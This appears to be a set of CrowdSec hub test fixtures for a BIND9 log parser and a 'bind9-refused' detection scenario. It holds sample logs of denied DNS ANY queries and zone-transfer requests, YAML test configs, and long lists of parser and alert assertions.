results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Meta["source_ip"] == "127.0.0.1"hub1/.tests/authelia-logs/scenario.assert000066400000000000000000000000001437532772500207260ustar00rootroot00000000000000hub1/.tests/bind9-logs/000077500000000000000000000000001437532772500151235ustar00rootroot00000000000000hub1/.tests/bind9-logs/bind9-logs.log000066400000000000000000000024021437532772500175730ustar00rootroot0000000000000019-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 19-Oct-2022 05:34:03.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query 'example.com/ANY/IN' denied 20-Oct-2022 08:30:43.685 client @0x7f6520147ae8 164.92.117.245#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied 03-Nov-2022 13:34:52.235 security: error: client @0x7fb04c007328 2003:f8:733:b600:6018:bbe4:d0ed:22#62449 (example.com): zone transfer 'example.com/AXFR/IN' denied 03-Nov-2022 13:37:23.345 error: client @0x7f7b200091e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62465 (example.com): zone transfer 'example.com/AXFR/IN' denied 03-Nov-2022 13:37:37.525 security: client @0x7f3f9c009168 2003:f8:733:b600:6018:bbe4:d0ed:22#62466 (example.com): zone transfer 'example.com/AXFR/IN' denied 03-Nov-2022 13:38:37.525 client @0x7fa0a4137838 2003:f8:733:b600:2c44:fab4:5e6e:d791#61738 (example.com): bad zone transfer request: 'example.com/IN': non-authoritative zone (NOTAUTH) security: client @0x7f37ac012d98 2003:f8:733:b600:6018:bbe4:d0ed:22#62518 (example.com): zone transfer 'example.com/AXFR/IN' denied client @0x7f8ac00071e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62524 (example.com): zone transfer 'example.com/AXFR/IN' denied hub1/.tests/bind9-logs/config.yaml000066400000000000000000000003611437532772500172540ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/mstilkerich/bind9-logs.yaml scenarios: postoverflows: log_file: bind9-logs.log log_type: named labels: {} ignore_parsers: false override_statics: [] hub1/.tests/bind9-logs/parser.assert000066400000000000000000000275411437532772500176530ustar00rootroot00000000000000len(results["s01-parse"]["mstilkerich/bind9"]) == 9 results["s01-parse"]["mstilkerich/bind9"][0].Success == true results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["remote_addr"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["timestamp"] == "19-Oct-2022 05:34:02.425" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_m"] == "Oct" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_t"] == "05:34:02" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["message"] == "19-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["remote_port"] == "3076" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_d"] == "19" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_ms"] == "425" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["source_ip"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][1].Success == true results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_d"] == "19" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_m"] == "Oct" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["remote_addr"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["remote_port"] == "3076" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["timestamp"] == "19-Oct-2022 05:34:03.425" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["message"] == "19-Oct-2022 05:34:03.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query 'example.com/ANY/IN' denied" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_ms"] == "425" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_t"] == "05:34:03" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["source_ip"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][2].Success == true results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_m"] == "Oct" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_t"] == "08:30:43" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["message"] == "20-Oct-2022 08:30:43.685 client @0x7f6520147ae8 164.92.117.245#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["remote_addr"] == "164.92.117.245" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["remote_port"] == "55590" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["timestamp"] == "20-Oct-2022 08:30:43.685" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_d"] == "20" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_ms"] == "685" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["source_ip"] == "164.92.117.245" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][3].Success == true results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["remote_port"] == "62449" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["timestamp"] == "03-Nov-2022 13:34:52.235" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_ms"] == "235" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["message"] == "03-Nov-2022 13:34:52.235 security: error: client @0x7fb04c007328 2003:f8:733:b600:6018:bbe4:d0ed:22#62449 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_t"] == "13:34:52" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][4].Success == true results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["message"] == "03-Nov-2022 13:37:23.345 error: client @0x7f7b200091e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62465 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["remote_port"] == "62465" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["timestamp"] == "03-Nov-2022 13:37:23.345" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_ms"] == "345" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_t"] == "13:37:23" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][5].Success == true results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["timestamp"] == "03-Nov-2022 13:37:37.525" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["remote_port"] == "62466" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_ms"] == "525" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_t"] == "13:37:37" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["message"] == "03-Nov-2022 13:37:37.525 security: client @0x7f3f9c009168 2003:f8:733:b600:6018:bbe4:d0ed:22#62466 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][6].Success == true results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["message"] == "03-Nov-2022 13:38:37.525 client @0x7fa0a4137838 2003:f8:733:b600:2c44:fab4:5e6e:d791#61738 (example.com): bad zone transfer request: 'example.com/IN': non-authoritative zone (NOTAUTH)" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:2c44:fab4:5e6e:d791" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["remote_port"] == "61738" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["timestamp"] == "03-Nov-2022 13:38:37.525" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_ms"] == "525" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_t"] == "13:38:37" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["source_ip"] == "2003:f8:733:b600:2c44:fab4:5e6e:d791" results["s01-parse"]["mstilkerich/bind9"][7].Success == true results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["message"] == "security: client @0x7f37ac012d98 2003:f8:733:b600:6018:bbe4:d0ed:22#62518 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["remote_port"] == "62518" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][8].Success == true results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["remote_port"] == "62524" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["message"] == "client @0x7f8ac00071e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62524 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["datasource_path"] == "bind9-logs.log" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" hub1/.tests/bind9-logs/scenario.assert000066400000000000000000000000001437532772500201370ustar00rootroot00000000000000hub1/.tests/bind9-refused/000077500000000000000000000000001437532772500156145ustar00rootroot00000000000000hub1/.tests/bind9-refused/bind9-refused.log000066400000000000000000000055061437532772500207650ustar00rootroot0000000000000019-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 19-Oct-2022 05:34:03.685 client @0x7f6520147ae8 104.219.136.31#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied 19-Oct-2022 05:34:04.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 19-Oct-2022 05:34:05.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 19-Oct-2022 05:34:06.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 20-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 20-Oct-2022 05:34:03.685 client @0x7f6520147ae8 104.219.136.31#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied 20-Oct-2022 05:34:04.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 20-Oct-2022 05:34:05.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 20-Oct-2022 05:34:06.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 20-Oct-2022 05:34:07.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 21-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 21-Oct-2022 05:34:03.685 client @0x7f6520147ae8 104.219.136.31#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied 21-Oct-2022 05:34:04.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 21-Oct-2022 05:34:05.425 client @0x7f65100ee4d8 104.219.136.32#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 21-Oct-2022 05:34:06.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 21-Oct-2022 05:34:07.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 22-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 22-Oct-2022 05:34:03.685 client @0x7f6520147ae8 104.219.136.31#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied 22-Oct-2022 05:34:04.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 22-Oct-2022 05:34:05.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 22-Oct-2022 05:34:06.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied 22-Oct-2022 05:34:12.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied hub1/.tests/bind9-refused/config.yaml000066400000000000000000000004451437532772500177500ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/mstilkerich/bind9-logs.yaml scenarios: - ./scenarios/mstilkerich/bind9-refused.yaml postoverflows: - "" log_file: bind9-refused.log log_type: named labels: {} ignore_parsers: true override_statics: [] hub1/.tests/bind9-refused/parser.assert000066400000000000000000000000001437532772500203210ustar00rootroot00000000000000hub1/.tests/bind9-refused/scenario.assert000066400000000000000000000062731437532772500206520ustar00rootroot00000000000000len(results) == 1 "104.219.136.31" in results[0].Overflow.GetSources() results[0].Overflow.Sources["104.219.136.31"].IP == "104.219.136.31" results[0].Overflow.Sources["104.219.136.31"].Range == "" results[0].Overflow.Sources["104.219.136.31"].GetScope() == "Ip" results[0].Overflow.Sources["104.219.136.31"].GetValue() == "104.219.136.31" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "bind9-refused.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "bind9_denied" results[0].Overflow.Alert.Events[0].GetMeta("service") == "bind9" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "104.219.136.31" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-10-20T05:34:02Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "bind9-refused.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "bind9_denied" results[0].Overflow.Alert.Events[1].GetMeta("service") == "bind9" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "104.219.136.31" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-10-20T05:34:03Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "bind9-refused.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "bind9_denied" results[0].Overflow.Alert.Events[2].GetMeta("service") == "bind9" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "104.219.136.31" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-10-20T05:34:04Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "bind9-refused.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "bind9_denied" results[0].Overflow.Alert.Events[3].GetMeta("service") == "bind9" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "104.219.136.31" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-10-20T05:34:05Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "bind9-refused.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "bind9_denied" results[0].Overflow.Alert.Events[4].GetMeta("service") == "bind9" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "104.219.136.31" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-10-20T05:34:06Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "bind9-refused.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "bind9_denied" results[0].Overflow.Alert.Events[5].GetMeta("service") == "bind9" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "104.219.136.31" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-10-20T05:34:07Z" results[0].Overflow.Alert.GetScenario() == "mstilkerich/bind9-refused" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/bind9-syslog/000077500000000000000000000000001437532772500154775ustar00rootroot00000000000000hub1/.tests/bind9-syslog/bind9-syslog.log000066400000000000000000000031301437532772500205220ustar00rootroot00000000000000Nov 13 10:59:46 keira named[2075772]: 19-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied Nov 13 10:59:46 keira named[2075772]: 19-Oct-2022 05:34:03.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query 'example.com/ANY/IN' denied Nov 13 10:59:46 keira named[2075772]: 20-Oct-2022 08:30:43.685 client @0x7f6520147ae8 164.92.117.245#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied Nov 13 10:59:46 keira named[2075772]: 03-Nov-2022 13:34:52.235 security: error: client @0x7fb04c007328 2003:f8:733:b600:6018:bbe4:d0ed:22#62449 (example.com): zone transfer 'example.com/AXFR/IN' denied Nov 13 10:59:46 keira named[2075772]: 03-Nov-2022 13:37:23.345 error: client @0x7f7b200091e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62465 (example.com): zone transfer 'example.com/AXFR/IN' denied Nov 13 10:59:46 keira named[2075772]: 03-Nov-2022 13:37:37.525 security: client @0x7f3f9c009168 2003:f8:733:b600:6018:bbe4:d0ed:22#62466 (example.com): zone transfer 'example.com/AXFR/IN' denied Nov 13 10:59:46 keira named[2075772]: 03-Nov-2022 13:38:37.525 client @0x7fa0a4137838 2003:f8:733:b600:2c44:fab4:5e6e:d791#61738 (example.com): bad zone transfer request: 'example.com/IN': non-authoritative zone (NOTAUTH) Nov 13 10:59:46 keira named[2075772]: security: client @0x7f37ac012d98 2003:f8:733:b600:6018:bbe4:d0ed:22#62518 (example.com): zone transfer 'example.com/AXFR/IN' denied Nov 13 10:59:46 keira named[2075772]: client @0x7f8ac00071e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62524 (example.com): zone transfer 'example.com/AXFR/IN' denied hub1/.tests/bind9-syslog/config.yaml000066400000000000000000000003641437532772500176330ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/mstilkerich/bind9-logs.yaml scenarios: postoverflows: log_file: bind9-syslog.log log_type: syslog labels: {} ignore_parsers: false override_statics: [] hub1/.tests/bind9-syslog/parser.assert000066400000000000000000000275631437532772500202330ustar00rootroot00000000000000len(results["s01-parse"]["mstilkerich/bind9"]) == 9 results["s01-parse"]["mstilkerich/bind9"][0].Success == true results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["remote_addr"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["timestamp"] == "19-Oct-2022 05:34:02.425" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_m"] == "Oct" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_t"] == "05:34:02" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["message"] == "19-Oct-2022 05:34:02.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query (cache) 'example.com/ANY/IN' denied" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["remote_port"] == "3076" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_d"] == "19" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Parsed["ts_ms"] == "425" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["source_ip"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][0].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][1].Success == true results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_d"] == "19" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_m"] == "Oct" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["remote_addr"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["remote_port"] == "3076" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["timestamp"] == "19-Oct-2022 05:34:03.425" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["message"] == "19-Oct-2022 05:34:03.425 client @0x7f65100ee4d8 104.219.136.31#3076 (example.com): query 'example.com/ANY/IN' denied" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_ms"] == "425" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_t"] == "05:34:03" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["source_ip"] == "104.219.136.31" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][1].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][2].Success == true results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_m"] == "Oct" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_t"] == "08:30:43" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["message"] == "20-Oct-2022 08:30:43.685 client @0x7f6520147ae8 164.92.117.245#55590 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["remote_addr"] == "164.92.117.245" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["remote_port"] == "55590" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["timestamp"] == "20-Oct-2022 08:30:43.685" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_d"] == "20" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_ms"] == "685" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["datasource_type"] == "file" 